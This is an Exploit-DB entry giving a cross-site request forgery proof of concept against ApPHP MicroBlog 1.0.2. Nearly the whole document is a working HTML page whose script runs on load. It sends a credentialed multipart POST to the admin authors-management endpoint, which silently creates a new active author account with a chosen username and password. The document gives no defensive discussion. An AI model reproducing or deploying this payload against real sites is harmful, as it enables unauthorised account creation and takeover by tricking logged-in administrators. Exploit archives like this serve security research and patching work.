Exploit-DB #40506
Description: ApPHP MicroBlog 1.0.2 - Cross-Site Request Forgery (Add New Author)
Type: webapps
Platform: php
Date: 2016-10-11
Author: Besim

Exploit:
# Exploit Title :              ApPHP MicroBlog 1.0.2  - Cross-Site Request Forgery  (Add New Author)
# Author :                      Besim
# Google Dork :
# Date :                         12/10/2016
# Type :                         webapps
# Platform :                    PHP
# Vendor Homepage :   -
# Software link :            http://www.scriptdungeon.com/jump.php?ScriptID=9162



########################### CSRF PoC ###############################


<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "
http://site_name/path/index.php?admin=authors_management", true);
        xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]889948655");
        xhr.withCredentials = true;
        var body =
"----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n" +
          "Content-Disposition: form-data; name=\"mg_action\"\r\n" +
          "\r\n" +
          "create\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_rid\"\r\n" +
          "\r\n" +
          "-1\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_sorting_fields\"\r\n"
+
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_sorting_types\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_page\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_operation\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_operation_type\"\r\n"
+
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_operation_field\"\r\n"
+
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_search_status\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"mg_language_id\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"show_about_me\"\r\n" +
          "\r\n" +
          "0\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"account_type\"\r\n" +
          "\r\n" +
          "author\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"last_login\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"first_name\"\r\n" +
          "\r\n" +
          "Mehmet\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"last_name\"\r\n" +
          "\r\n" +
          "mersin\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"email\"\r\n" +
          "\r\n" +
          "mehmet@yopmail.com\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"user_name\"\r\n" +
          "\r\n" +
          "Zer0\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"password\"\r\n" +
          "\r\n" +
          "mehmet\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"avatar\";
filename=\"\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"about_me\"\r\n" +
          "\r\n" +
          "denemddendemdendjendk\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]889948655\r\n"
+
          "Content-Disposition: form-data; name=\"is_active\"\r\n" +
          "\r\n" +
          "1\r\n" +

"----------------------------[PII_REDACTED][PII_REDACTED]889948655--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>

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